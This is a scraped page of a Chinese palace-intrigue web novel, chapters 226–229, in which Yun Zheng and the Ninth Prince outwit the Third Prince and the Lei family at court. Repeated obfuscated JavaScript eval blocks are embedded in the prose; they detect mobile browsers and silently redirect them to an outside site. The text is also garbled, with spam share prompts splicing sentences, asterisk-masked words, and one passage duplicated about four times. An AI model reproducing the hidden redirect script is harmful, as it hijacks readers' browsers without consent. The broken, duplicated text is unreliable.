他顿了顿,声音压低了,“找到曹德文时,他欲对锦云郡主不轨,我情急之下,出手重了些。” “不过还没死,皇上想知道什么尽管问。” 皇上挑了挑眉,这岂止是出手重了些? 他一个眼神,太医走上前去检查,“禀皇上,此人还活着,但四肢筋脉被挑断,已是废人。” 皇上心中尚有疑虑,“无恙,你向来身边不离人,这回,怎么没带人?” “带了。” 皇上深深的看了他一眼,“那怎么还弄成这样?” 厉无恙沉默了一下,神色复杂,“我总不能把中了媚药的锦云郡主交给属下处理吧。” 他轻轻叹气,“那是对她的侮辱,她性烈如火,最为骄傲,我怕…… 未尽之言皇上明白了,是怕她一时激愤之下,自我了断。 皇上面色稍霁。 哎,这一切都是阴差阳错。 厉无恙不动声色的瞥了一眼,拱了拱手,神色庄重。 “臣弟,恳请皇上赐婚。” 现场鸦雀无声,静的出奇。 三皇子脸色大变,“不可。” 第226章 臣弟,恳请皇上赐婚(中) 大家齐刷刷的看过来,不可? 厉无恙眼神冰冷的可怕,“皇上还没有说话,什么时候轮到你开口?你只是一个皇子,该谨守本分。 三皇子知道心急了,但,他没有办法,绝不能让这两人联姻!绝不! “父皇,儿臣越矩了,但我实在是担心。 他眼珠一转,疯狂上眼药,“九皇叔执掌明镜司,权势滔天,云筝名下有庞大的云氏商号,是内务府的官员,手握着大把的资源,挣钱如流水。 “钱权结合,就是一股庞大的势力,皇上,您晚上还睡得着吗? 这话直接挑破了皇上心中的猜忌,但,也惹恼了皇上。 有些话心知肚明,但不能挑破,这让他的脸面往哪里搁? “你说的什么鬼话?闭嘴。 “无恙啊,朕从来没有怀疑过你的忠心。 厉无恙淡淡的道,“只要皇上信我就行,其他都不重要。 三皇子气恼不已,父皇太偏心了,他对自己这个儿子极其苛刻,但对于这个胞弟很宽容。 他大声疾呼,“反正,我只要一想到这,就寝食难安,担惊受怕。 厉无恙语气凉凉的,“那你太脆弱了,完全没有继承皇上的雄才大略和胆气,难成大事。 这话等于断了三皇子的青云路。 厉无恙拱了拱手,神色严肃,“皇兄,我虽无心娶妻,但事已至此,必须负起一个男人该承担的责任,给锦云郡主一个交待。 “还请皇兄成全。 皇上一直很想让九皇弟成亲,可现在,他愿意成亲了,这人选……不行。 “无恙啊,千万不要勉强自己,朕不想看到最信任的两个人成为一对怨偶。 三皇子嘴角轻轻上扬,他就知道会这样。 任何一个帝王都不会让权臣和钱串子联姻,他这个父皇的疑心太重了。 “对对对,父皇说的没错,强扭的瓜不甜,勉强在一起是不会幸福的。 厉无恙恼了,晦气玩意! “那,请皇上教教我,该怎么让现场的人都封口? 他目露凶光,杀气腾腾的看向众人,“都杀了?也不是不行。 全场皆惊,瑟瑟发抖,救命啊! 你的朋友正在书荒,快去帮帮他吧 谁不知道九千岁**如麻冷酷绝情呢。 被他盯上 有**着胆子劝道“俗话说人言可畏出了这种事情男子还能说一声风流一笑而过。但对女子来说是致命的。皇上您还是赐婚吧。” 谁都不知道九千岁会不会忽然发疯随机**命只有一条谁敢赌? “皇上事情已经这样了不如一床锦被盖过去。九千岁和锦云郡主郎才女貌天生一对让他们成婚吧。” “是啊锦云郡主是女子这世道对女子尤其苛刻皇上给锦云郡主留一条活路吧。” 大家你一言我一语的求情皇上始终不置可否。 厉无恙眼神沉沉皇兄啊你可别让我失望! 雷家主眼神微闪“我不赞成锦云郡主不是普通女子她是大齐的官员心理素质强大没必要为了名声而嫁人。” 雷家人纷纷站出来声援“对对对她天天在男人堆里厮混早就没有了好名声还怕别人指指点点吗?她根本没有资格成为睿亲王妃。” “一个是商贾出身一个是皇室子弟齐大非偶不般配啊。” 既然注定是你死我活的敌人那绝不能让敌人越发强大。 皇上看向始终没开口的女子“锦云你怎么说?” 云筝神色平静“全凭皇上作主。” 皇上目光沉沉思绪说不出的复杂“说说你自己心里的想法。” “我……”云筝抿了抿嘴刚想说什么胳膊就被云母一把拉住云母眼眶通红泪光闪烁。“筝儿。” 云筝的心一颤愧疚之情油然而生“按我的心思是不想嫁的只想好好当官给皇上挣钱。” 云母扑通一声跪倒在地“皇上请您开恩给小女和睿王爷赐婚吧小女受尽磨难身为一个母亲我不想再让她遭受非议。” 云筝跟着跪了下去神色凝重“但我有父母有家族我的父母生我养我对我爱护有加倾尽所有。” “我不在乎流言蜚语但他们不该因我而受辱请皇上成全!” 雷五夫人凉凉的嘲讽道“云夫人多大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161778|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事啊至于这么紧张吗?你女儿整天跟男人混在一起也没见你管束……” 这 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 可把云母彻底激怒了,“雷家男人都不中用,靠卖女求荣,一次又一次,不要脸惯了,自然不在乎这些。” 雷家的脸面扫地,羞恼万分,“你才不要脸,你们全家不要脸……” 眼见双方就要打起来,皇上冷声喝止,“够了,都闭嘴,先处理眼前的事情。” 他手指着昏迷不醒的曹德文,“把这狗东西弄醒,朕要听听他怎么说。” 云筝跟厉无恙交换了一个眼色,帝王的疑心病实在太重了。 云筝眼珠一转,计上心来,不动声色的挪到曹德文面前。 厉无恙微微颌首,“用水泼。” 一盆冷水浇下去,曹德文被泼醒了,茫然至极,这是哪里?怎么浑身疼? 刚想观察四周的环境,一个清冷的女声响起,“你醒了?还好吗?啊,对了,忘了告诉你,你手脚筋脉都被挑断,这辈子都是废人了……” 是云筝,她主动凑过去,嘴角挂着一抹不屑的笑,眼神挑衅。 曹德文一看到她,猛的想起昏迷前的场景,一股怒火直冲脑门,丧失了理智。 “啊啊啊,云筝,你这个**,你给我等着,此仇不报非君子,我要让你身败名裂!我要你死!” 他太恨了,恨到两眼充血,恨到眼里只看到一个云筝。 是她毁了自己! 他的雄心,他的野望因为一个女人而化为了泡影! 云筝冷笑一声,“就凭你?区区一个盐商?我可是朝廷亲封的郡主,呵呵。” 曹德文满眼的怨恨,怒气冲天,“就凭我是三皇子的人!就凭三皇子是未来的储君!” 全场皆静,齐齐看向三皇子,神色各异。 三皇子闭了闭眼,狗东西! 皇上面沉如水,冷哼一声。 云筝听见了,嘴角轻扬,稳了! 敢算计她,就等着满门抄斩吧! 她的报复心,超强! 第227章 臣弟,恳请皇上赐婚(下) 云筝呵呵一笑,“区区一个盐商哪配成为三皇子党? 糟糕!求求她闭嘴吧。 三皇子想冲过去捂嘴,却被皇上一个冷眼,双脚钉在当地。 雷家主想阻止曹德文开口,被明镜司拦下了。 曹德文怨气冲天,大放厥词,“三皇子想登基为皇,离不开大把大把的银子。我有金山银山,我有的是钱,钱能帮他当皇帝! 他不好过,谁都别想好过,尤其是毁了他的云筝! 他将所有的家产献给三皇子,只求替他报仇雪恨! 这嚣张狂妄的话一出口,三皇子和雷家人都绝望了。 论狠,还是云筝最狠。 挖了个大坑,把他们全埋进去了。 三皇子愤愤瞪了雷家主一眼,你说你,惹她干吗? 雷家主也很绝望,他以为云筝是个女子,用这种手段能最快毁掉她,结果,却出乎了所有人的意料。 只能说,云筝的运气真好啊。 但,真的是运气吗? 云筝大声嘲讽道,“这么说,你是三皇子的财神爷,没你不行啊。 曹德文叫嚣的更厉害了,“没错,你死定了,你把我害成这样,三皇子不会放过你的。 云筝微微一笑,转身看向皇上,“皇上,三皇子结党营私,将手伸进了江南盐务,跟当地的盐商沆瀣一气,证据确凿。 皇上?曹德文脑袋炸了,艰难的扭过头,这才看到一群人簇拥着一个身着锦衣的中年男人,威严而又冷峻。 他的心一颤,刚才他说了什么? 啊啊啊,完了,他又被云筝坑了!她一定是故意的! 三皇子快气**,一群猪队友! “父皇,我不认识他,我跟他一点关系都没有,请父皇明查。 他真的没有掺和进来,他是无辜的。 皇上走过去,居高临下的看着曹德文。 “说,你和雷家是怎么联手暗算锦云郡主的? 曹德文脑袋一片空白,心里乱糟糟的,怎么办? 事已至此,他的心一横,“没有暗算,是锦云郡主主动送上门的,她贱…… 一颗石头砸过去,砸中曹德文的嘴,顿时鲜血淋漓,门牙 听说看这本书的人都是很幸运的,分享后你的运气会更棒 都掉落了两颗。 厉无恙弹了弹手指,仿若无事人般,“皇上,以下犯上,诋毁朝廷命官,是不是该诛其九族?” 曹德文如五雷轰顶,这才害怕了,“不要!” 云筝冷笑一声,上前踩着曹德文的手掌,狠狠碾压,疼的曹德文惨叫连连。 吓的众人连连后退,锦云郡主好凶残,报复心好强! “混账东西,不知是谁给你的底气,敢跟九千岁这么说话?” 云筝阴阳怪气的说道,“哦,是三皇子啊。” 皇上揉了揉眉心,“大伴,撬开相关人等的嘴,朕要一份详尽的口供。” 大太监恭敬无比,“是。” 相关人等全被拖了下去,现场安静极了,一切得等着口供出来了,再听候发落。 雷家人很焦虑,坐立不安,急的满头大汗。 他们头上有一把大刀,随时会落下来。 “咕咕。”咦,是谁的肚子在叫? 哦,是云筝啊。 她捂着肚子,大大方方的开口,“皇上,我一下衙就赶过来,一口水都没喝,又饿又渴,能跟您一起用膳吗?” 她是第一个敢这么说的人,大家投来敬畏的目光。 皇上呆了呆,他没说要吃东西啊,“为何?” 云筝理直气壮的说道,“我想,雷家应该不敢在您的饭菜里下药吧,您就让我蹭顿饭吃呗。” 皇上沉默了,大家也沉默了,又是告状,又是下眼药,狠人。 这要求离谱中透着一股合理,不愧是你! 皇上心情很复杂,看了看板着臭脸的厉无恙,又看了看她,“你胳膊不疼?” 云筝的胳膊已经上了药,重新包扎了,裹的严严实实。 “疼,但饭还是要吃的,吃饱了才有力气跟人掐架,我等着贵妃发难呢。” “她估计就在赶来的路上。虽然人在后宫,但消灵可灵通了。” 雷家:……是,我们是通知了,但,你这么明晃晃的上眼药,就过份了! 贵妃是他们最后一线希望! 皇上嘴角抽了抽,就算伤成这样,依旧斗志昂然,天不怕地不怕。 她就是不服气! “观你父母都是宽容 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 大度之人,你有仇必报的性子到底像谁?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161779|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云母心里吐槽,自家孩子记仇怎么了?难道受了欺负还把脸凑过去让人打?不惹她就完了吗? 云筝瞥了皇上一眼,理所当然的开口,“像您!” 皇上气笑了,“胡说,朕又不是你爹。” 云筝笑眯眯的道,“这叫,近朱者赤,近墨者黑。” 皇上无语了,这什么破孩子啊?“那朕是朱?还是墨?” 云筝脸不红心不跳,张口就来,“皇上是朱,我就是赤,皇上是墨,我就是黑,永远跟着您的脚步走。” 佞臣!这丫头就是靠这一套得了圣眷?!不要脸啊!雷家人在心里疯狂唾弃。 但也有羡慕的,比如,三皇子,学起来,学起来! 皇上被哄的眉开眼笑,“哈哈哈,你这丫头最会哄人。” “传膳,我们锦云郡主饿了,整几道女孩子爱吃的菜。” “是。” 见这一套管用,三皇子眼珠一转,学着云筝的模样开口,“父皇,儿臣也饿了,您就让我蹭顿饭吃呗。” 他挤出一丝笑容,努力营造出父慈子孝的局面,仿佛什么事情都没发生过。 这叫什么?**! 东施效颦,皇上不忍直视,扭过头,学谁不好,非学云筝? 云筝看在眼里,“皇上,就让三皇子给我们试毒吧,他年轻力壮,就算**了也来得及救治。” 三皇子:……!!! 他气炸了,“云筝,你别太过份。” 厉无恙凉凉的声音响起,“说话客气点,叫九皇婶。” 三皇子:…… 皇上没好气的瞪了一眼,“无恙,女孩子的名声要紧,不许胡说。” 厉无恙板着脸,语气不悦,“皇上,不管您答不答应,我都把锦云郡主当成自己的未婚妻了。” 皇上快气**,哪有这样的?“无恙。” 厉无恙冰冷的视线扫向四周,“谁敢伤害她,就是跟本王作对,都听到了吗?” 众人只觉得一股杀气迎面扑来,吓的脸色发白。 “听到了,不敢不敢。” “云筝,你在偷笑!就这么迫不及待的想嫁给九皇叔?” 三皇子的眼神充满愤怒,“还是,这一切是你们俩串通好的?” 全场一片寂静,空气一下子凝滞,大家的心都提了起来。 皇上凉薄的视线扫了过来。 第228章 上板砖,满场追杀 忽然云筝捡起一块板砖发疯般冲向三皇子。 “狗东西让你污蔑我让你串通别人算计我让你倒打一耙全**不是好东西我跟你拼了。” 她势若疯虎一副全然豁出去的样子“我不活了你也别想活了来啊一起同归于尽啊。” 三皇子吓的魂飞魄散拔腿就跑。 “你别发疯冷静冷静有什么话好好说我没有算计你我真的什么都不知道。” 谁要跟她同归于尽?他是皇子有的是荣华富贵他要长命百岁。 云筝怒气冲天穷追不舍“放屁我一个字都不信别跑一起**啊一起。” 一个没命跑一个疯狂追全场尖叫声不断全乱了套。 雷家人呆呆的看着这一幕妈呀云筝是个疯子这是要玉石俱焚啊好可怕。 有人想去阻拦但都被明镜司拦下了。 啥意思? 大家下意识看向皇上刚才还神色凝重的皇上这会儿居然嘴角轻扬一副看热闹的模样。 不是谁到底是亲生的? 三皇子偷偷看了父皇一眼心里拔凉拔凉的完了。 父皇这是生气了要让他吃点苦头! 他不敢跑向父皇生怕被当成刺客砍了。 皇家父子在权力阴霾下的早就不是简单的父子关系相爱相杀相互猜忌才是常态。 他咬了咬牙一横心冲向厉无恙“九皇叔救我。” 厉无恙淡淡瞥了一眼“让你嘴贱她本来就一肚子委屈你还去惹她活该。” 三皇子躲在厉无恙轮椅后面大口大口喘气。 云筝也累的够呛停在厉无恙面前小脸红彤彤的额头全是汗珠。 厉无恙眼中闪过一丝心疼但转眼就逝看不出半点异样。 雷家公子阴阳怪气的说道“说不定是心虚呢。” 云筝本来好好的站着一听这话 她举着板砖冲向三皇子三皇子气的直跳脚“谁骂你你去找谁啊。” 他还想再跑但不知是绊到了什么重重摔在云筝脚下。 云筝 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 居高临的瞪着他高高举着板砖“你才是雷家的命门你**雷家一个都活不了。” 三皇子吓白了脸“云筝你别乱来。” “不要。” 皇上眼神微凝右手举了起来。 厉无恙微微蹙眉全身戒备着。 现场暗潮涌动。 雷家公子吓出一身冷汗“云筝要砸就砸我一人做事一人当来啊砸我啊。” 云筝猛的扭头手中的板砖砸向雷家公子精准的砸中他的面门扑通一声他倒下了。 “四儿。” “四哥。”雷家人惊恐的声音响彻全场。 皇上放下右手扬了扬眉这丫头虽然脾气暴躁但极有分寸。 拿着板砖吓唬了半天都没有砸向三皇子。 雷家公子一叫立马砸过去。 什么人能动什么人不能碰她心里清清楚楚明明白白。 罢了就让她出了这口恶气吧免得她以后不停的作妖。 厉无恙整个人放松下来嘴角轻扬她真是绝顶聪明! 既出了气又凸显暴躁不能容人不冷静不克制的缺点。 这样的人会以身入局吗?不可能。 雷家公子被砸晕了头破血流不知是死是活雷家人目瞪口呆不敢置信。 “云筝你这个疯子!” 他们纷纷扑向云筝但云筝立马溜到厉无恙轮椅后面躲起来了。 厉无恙坐着不动冷冷的看着雷家人“谁敢动她?都当本王**?” 他身边的侍卫齐刷刷的拔出长剑对准雷家人。 雷家人怂了脸色难看到了极点。 云筝见状 贱兮兮的可招人恨了。 皇上抚额叹息一群混账东西都不省心。 雷家人拿云筝没办法气的扭头告状“皇上锦云郡主公然砸晕我雷家子弟请皇上作主。” 云筝振振有词“皇上是他让我砸的!我只是答应他的请求这年头好人难做啊。” 得了便宜还卖乖。 雷老夫人恨毒了云筝这可是她最宠 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 爱的子孙,要是有个三长两短,她要云筝偿命。 “皇上,锦云郡主无法无天,连皇子都敢砸,再这样下去,她都要爬到您头上,您不能再包庇她了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161780|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这话很重,而且她是贵妃娘娘的亲生母亲,在皇上面前也有几分薄面。 云筝板着脸质问,“你怎么敢对皇上指手划脚,呼三喝四的?这是要给皇上当老子娘?雷家想当太上皇?” 雷老夫人气的肝疼,眼前一阵阵发黑,“你胡说八道。” 云筝可不会惯着她,“倚老卖老,张口闭口教皇上做事,对皇上没有半点尊重,这就是雷家的为臣之道?呵呵。” 雷老夫人勃然大怒,“小**。” 云筝立马还以颜色,“老娼妇。” “啊啊啊。”雷老夫人气晕过去了。 雷家人围上去哭天抢地,场面着实凄惨。 云筝冷眼旁观,落井下石,“这就晕了?装的吧?我看是为了逃避皇上的责罚。” 三皇子看不下去了,“云筝,你就积点德吧。” 云筝板着俏脸,“雷家做初一,我就做十五,很公平,不是吗?” “雷家对我所做的一切,我会百倍千倍的还回去。” 她咄咄逼人,寸步不让。 三皇子忍不住叫道,“你又没出事。” 云筝更生气了,受伤的左手高高举起,破口大骂,“你眼瞎啊?那是我运气好,但,这不是宽恕罪魁祸首的理由。” “我发誓,与雷家不死不休!” 她的恨意如烈焰般熊熊燃烧,仿佛要将天地万物都焚尽。 看到这样鲜活的云筝,皇上的疑心尽去。 她向来敢恨敢爱,恣意任性,这刻骨的恨是真真切切,不是装的。 没有一个女子会拿自己的名节来做局! 三皇子呆呆的看着云筝,有片刻的恍惚。 她生气时,一双眼睛灼亮却惊人的美,美的不可方物。 厉无恙见状,微微蹙眉,故意说道,“三皇子,雷家是你的外家,但,当断则断。” 他说的含蓄,但话中之意都懂。 雷家人都变了脸色,这是暗示要将责任全推到雷家头上?断尾求生? 有人再也忍不住,“我们什么都不知道,是家主干的。” “闭嘴,别胡说。” 皇上的眼睛危险的眯了起来。 厉无恙嘴角轻轻上翘,成了! 第229章 皇上,她不讲武德啊 皇上的疑心是针对所有人的,这一次雷家犯了他的忌讳。 一是,结党营私,帮三皇子拉拢各方势力,为夺嫡招兵买马。 二是,将手伸进了江南盐务,自古以来盐铁官营,是朝廷最重要的财政支柱,不许任何人染指。 三是,对云筝下手,看似简单的下药,其实是借机拿捏她,将她拉进自己的阵营,让她背叛皇上。 这三桩叠加在一起,雷家啊,这次是保不住了。 儿子是自己亲生的,怎么也不会杀,但,他身边的人就要承受君王的怒火。 三皇子心里很慌,他深知父皇的脾气。 若是,他大发雷霆骂一顿,发泄出来,也就没事了。 可如今,这般的平静,这事就过不去,咋办? 耳边响起云筝雀跃的声音,“饭菜来了,三皇子,你快来试毒。” 三皇子气不打一处来,她还有心情吃饭?“滚!” 云筝冷哼一声,“怎么?你也担心雷家在饭菜下药?你也不敢吃?” 皇上冷冷的看向雷家人,他们瑟瑟发抖,拼命摇头,不敢呐。 三皇子强压着怒火,“当然不是,我试!” 一盘盘美味佳肴送上餐桌,三皇子就坐在一边试菜,一道又一道。 云筝是真的饿了,进食的速度很快,但,举止很优雅,礼仪完美,挑不出毛病。 而且,她吃东西表情很丰富,不好吃的皱眉,好吃的两眼放光。 咦,这四喜丸子很好吃呀。 皇上本来不想用膳,但看她吃的太香了,忍不住也吃上两口。 云筝拿公筷夹了一个四喜丸子到他面前的碟子中,笑吟吟的道,“皇上,您尝尝这个,味道不错。” 她的动作自然如行云流水,让皇上一怔,这是……为长辈布菜? 云筝才不管他想什么呢,又给厉无恙挟菜,“九千岁,你也试试。” 厉无恙默了默,“你先顾好自己吧。” 皇上不动声色的瞥了他们一眼,他们坦坦荡荡,没有避嫌,大方的让人觉得没啥猫腻。 “你们经常一起吃饭?” 云筝吃的脸颊鼓鼓的,像一只可爱的小松鼠。 她将食物咽下去,才开 口说道,“没有,我们都忙,就吃过三顿饭。” 她还得意洋洋的显摆,“上次九千岁有我陪着,饭都多吃了一碗,我厉害吧。” 她太坦然了,一双乌黑的眼睛只有得瑟,而不是爱慕。 皇上的心情很复杂,“呵呵。” 云筝见状,一本正经的解释,“皇上,您别吃醋,大家都不爱跟您吃饭是有原因的。” 皇上嘴角抽了抽,“胡说,朕赐膳,他们求之不得。” 云筝笑眯眯的说道,“回去都得吃消食丸,压力太大了。” 坐在对面的厉无恙被呛着了,“咳咳,别尽说大实话。” 皇上:…… 一名宫人匆匆走进来,向皇上行了一礼,“启禀皇上,贵妃娘娘求见。” 皇上眉头微蹙,还是来了! 云筝大声惊呼,“哇额,贵妃娘娘果然杀过来了,都说嫔妃出宫好难,她怎么这么容易?” “贵妃来势汹汹,一定会拿我开刀的,又是捧杀,又是以退为进,又是一哭二闹三上吊,花样百出。” 她抱着自己受伤的胳膊,一脸的害怕,“皇上,我弱小可怜又无助,哪是宫斗榜眼的对手,您一定要罩着我!” 皇上:……宫斗榜眼?! 众人:…… 她不讲武德啊,不光是上眼药的角度刁钻古怪,还把人家的后路都封**。 无论贵妃出什么招,都逃不出这些。 三皇子直翻白眼,弱小可怜又无助?刚才拿着板砖追着他满场跑的人是谁? 贵妃牵着一个粉雕玉琢的小姑娘款款而来,一袭宫装,衬的她仪态万千,雍容华贵。 她拉着小姑娘一起行礼,“臣妾见过皇上。” 小姑娘脆生生的声音响起,“小五见过父皇。” 厉无恙扬了扬眉,贵妃有备而来啊,连五公主这个大杀器都带上了。 皇上冰冷的视线盯着贵妃,贵妃躬着身,保持行礼的端庄姿态,半点不走样。 皇上冷哼一声,视线落在小姑娘脸上,见她站不稳要摔了,这才说道,“起来吧。” 他冲小姑娘招了招手,这是他最疼爱的五公主,“小五,过来。” “父皇。”小姑娘扑进他怀里,天真无邪的 冲他笑。 皇上的心一软,摸摸女儿粉嫩的小脸蛋。 “贵妃回娘家,提前向皇后报备了吗?” 贵妃一脸的恭顺,“皇后娘娘开恩,特允许臣妾出宫。” 皇上神色淡淡的,“来做什么?” 贵妃神色越发恭敬,“五公主出生到现在还没有见过外家,听闻皇上出宫来了雷家,就想托皇上的福,让五公主认认外家的门,也见一见外祖父外祖母。” 她四处张望,“咦,父母亲呢?怎么不见人?” 雷大夫人不敢提被带去审讯的雷家主,只敢让开身体,露出半躺在椅子上的老夫人。 “贵妃娘娘,老夫人被云筝气晕过去了,您一定要为她作主啊。” 看着两眼紧闭的母亲,贵妃眼中闪过一丝愤怒。 但,她掩饰的极快,面上谦逊又有礼。 “锦云郡主,不知家母哪里得罪了你,我代她向你赔个不是,还请看在她年迈糊涂的份上,原谅她这一回。” 雷大夫人泪如雨下,“娘娘,不是老夫人的错,是云筝骂了老夫人,骂的很难听,生生把老夫人气晕了,可怜老夫人一大把年纪,哪受过如此奇耻大辱。” 贵妃心中恨极,面色苦涩无比,“别说了,锦云郡主对国家有功,对皇上有功,别说欺侮贵妃之母,就算杀了雷家人,都给我忍着,万不可伤了朝廷的栋梁之材。” 她委屈,她难过,她伤心欲绝,但,为了皇上和朝廷,要顾全大局。 云筝看在眼里,嘴角轻轻上扬,来吧,尽情的表演吧。 雷大夫人不敢置信的叫道,“娘娘。” 众人默默看着,不知怎么的想起,云筝的那句话,以退为进,捧杀。 好像,都被云筝料中了! 皇上神色难辩,眼神晦暗不明。 大太监终于回来了,双手呈上厚厚的供词,“皇上,都招了,这些都是各方供词。” 就在皇上伸手拿供词时,忽生变故! 冲他笑。 皇上的心一软,摸摸女儿粉嫩的小脸蛋。 “贵妃回娘家,提前向皇后报备了吗?” 贵妃一脸的恭顺,“皇后娘娘开恩,特允许臣妾出宫。” 皇上神色淡淡的,“来做什么?” 贵妃神色越发恭敬,“五公主出生到现在还没有见过外家,听闻皇上出宫来了雷家,就想托皇上的福,让五公主认认外家的门,也见一见外祖父外祖母。” 她四处张望,“咦,父母亲呢?怎么不见人?” 雷大夫人不敢提被带去审讯的雷家主,只敢让开身体,露出半躺在椅子上的老夫人。 “贵妃娘娘,老夫人被云筝气晕过去了,您一定要为她作主啊。” 看着两眼紧闭的母亲,贵妃眼中闪过一丝愤怒。 但,她掩饰的极快,面上谦逊又有礼。 “锦云郡主,不知家母哪里得罪了你,我代她向你赔个不是,还请看在她年迈糊涂的份上,原谅她这一回。” 雷大夫人泪如雨下,“娘娘,不是老夫人的错,是云筝骂了老夫人,骂的很难听,生生把老夫人气晕了,可怜老夫人一大把年纪,哪受过如此奇耻大辱。” 贵妃心中恨极,面色苦涩无比,“别说了,锦云郡主对国家有功,对皇上有功,别说欺侮贵妃之母,就算杀了雷家人,都给我忍着,万不可伤了朝廷的栋梁之材。” 她委屈,她难过,她伤心欲绝,但,为了皇上和朝廷,要顾全大局。 云筝看在眼里,嘴角轻轻上扬,来吧,尽情的表演吧。 雷大夫人不敢置信的叫道,“娘娘。” 众人默默看着,不知怎么的想起,云筝的那句话,以退为进,捧杀。 好像,都被云筝料中了! 皇上神色难辩,眼神晦暗不明。 大太监终于回来了,双手呈上厚厚的供词,“皇上,都招了,这些都是各方供词。” 就在皇上伸手拿供词时,忽生变故! 冲他笑。 皇上的心一软,摸摸女儿粉嫩的小脸蛋。 “贵妃回娘家,提前向皇后报备了吗?” 贵妃一脸的恭顺,“皇后娘娘开恩,特允许臣妾出宫。” 皇上神色淡淡的,“来做什么?” 贵妃神色越发恭敬,“五公主出生到现在还没有见过外家,听闻皇上出宫来了雷家,就想托皇上的福,让五公主认认外家的门,也见一见外祖父外祖母。” 她四处张望,“咦,父母亲呢?怎么不见人?” 雷大夫人不敢提被带去审讯的雷家主,只敢让开身体,露出半躺在椅子上的老夫人。 “贵妃娘娘,老夫人被云筝气晕过去了,您一定要为她作主啊。” 看着两眼紧闭的母亲,贵妃眼中闪过一丝愤怒。 但,她掩饰的极快,面上谦逊又有礼。 “锦云郡主,不知家母哪里得罪了你,我代她向你赔个不是,还请看在她年迈糊涂的份上,原谅她这一回。” 雷大夫人泪如雨下,“娘娘,不是老夫人的错,是云筝骂了老夫人,骂的很难听,生生把老夫人气晕了,可怜老夫人一大把年纪,哪受过如此奇耻大辱。” 贵妃心中恨极,面色苦涩无比,“别说了,锦云郡主对国家有功,对皇上有功,别说欺侮贵妃之母,就算杀了雷家人,都给我忍着,万不可伤了朝廷的栋梁之材。” 她委屈,她难过,她伤心欲绝,但,为了皇上和朝廷,要顾全大局。 云筝看在眼里,嘴角轻轻上扬,来吧,尽情的表演吧。 雷大夫人不敢置信的叫道,“娘娘。” 众人默默看着,不知怎么的想起,云筝的那句话,以退为进,捧杀。 好像,都被云筝料中了! 皇上神色难辩,眼神晦暗不明。 大太监终于回来了,双手呈上厚厚的供词,“皇上,都招了,这些都是各方供词。” 就在皇上伸手拿供词时,忽生变故! 冲他笑。 皇上的心一软,摸摸女儿粉嫩的小脸蛋。 “贵妃回娘家,提前向皇后报备了吗?” 贵妃一脸的恭顺,“皇后娘娘开恩,特允许臣妾出宫。” 皇上神色淡淡的,“来做什么?” 贵妃神色越发恭敬,“五公主出生到现在还没有见过外家,听闻皇上出宫来了雷家,就想托皇上的福,让五公主认认外家的门,也见一见外祖父外祖母。” 她四处张望,“咦,父母亲呢?怎么不见人?” 雷大夫人不敢提被带去审讯的雷家主,只敢让开身体,露出半躺在椅子上的老夫人。 “贵妃娘娘,老夫人被云筝气晕过去了,您一定要为她作主啊。” 看着两眼紧闭的母亲,贵妃眼中闪过一丝愤怒。 但,她掩饰的极快,面上谦逊又有礼。 “锦云郡主,不知家母哪里得罪了你,我代她向你赔个不是,还请看在她年迈糊涂的份上,原谅她这一回。” 雷大夫人泪如雨下,“娘娘,不是老夫人的错,是云筝骂了老夫人,骂的很难听,生生把老夫人气晕了,可怜老夫人一大把年纪,哪受过如此奇耻大辱。” 贵妃心中恨极,面色苦涩无比,“别说了,锦云郡主对国家有功,对皇上有功,别说欺侮贵妃之母,就算杀了雷家人,都给我忍着,万不可伤了朝廷的栋梁之材。” 她委屈,她难过,她伤心欲绝,但,为了皇上和朝廷,要顾全大局。 云筝看在眼里,嘴角轻轻上扬,来吧,尽情的表演吧。 雷大夫人不敢置信的叫道,“娘娘。” 众人默默看着,不知怎么的想起,云筝的那句话,以退为进,捧杀。 好像,都被云筝料中了! 皇上神色难辩,眼神晦暗不明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161781|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 